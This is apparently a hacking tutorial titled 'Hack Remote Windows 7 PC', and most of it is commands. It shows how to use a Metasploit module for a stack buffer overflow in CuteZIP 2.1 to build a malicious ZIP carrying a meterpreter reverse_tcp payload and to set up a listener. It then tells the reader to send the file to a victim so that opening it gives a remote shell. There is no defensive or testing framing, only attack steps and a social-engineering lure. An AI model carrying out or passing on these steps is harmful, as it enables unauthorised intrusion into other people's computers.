Hack Remote Windows 7 PC using global SCAPE Cute ZIP Stack Buffer Overflow

This module exploits stack-based buffer overflow vulnerability in version 2.1 of CuteZIP. In order for the command to be executed, an attacker must convince the target user to open a specially crafted zip file with CuteZIP. By doing so, an attacker can execute arbitrary code as the target user.

Exploit Targets

CuteZIP 2.1


Attacker: Backtrack 5

Victim PC: Windows 7

Open backtrack terminal type msfconsole

Now type use exploit/windows/fileformat/cutezip_bof

msf exploit (cutezip_bof)>set payload windows/meterpreter/reverse_tcp

msf exploit (cutezip_bof)>set lhost (IP of Local Host)

msf exploit (cutezip_bof)>exploit

After we successfully generate the malicious ZIP File, it will stored on your local computer


Now we need to set up a listener to handle reverse connection sent by victim when the exploit successfully executed.

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost


Now send your msf.zip files to victim, as soon as they download and open it. Now you can access meterpreter shell on victim computer
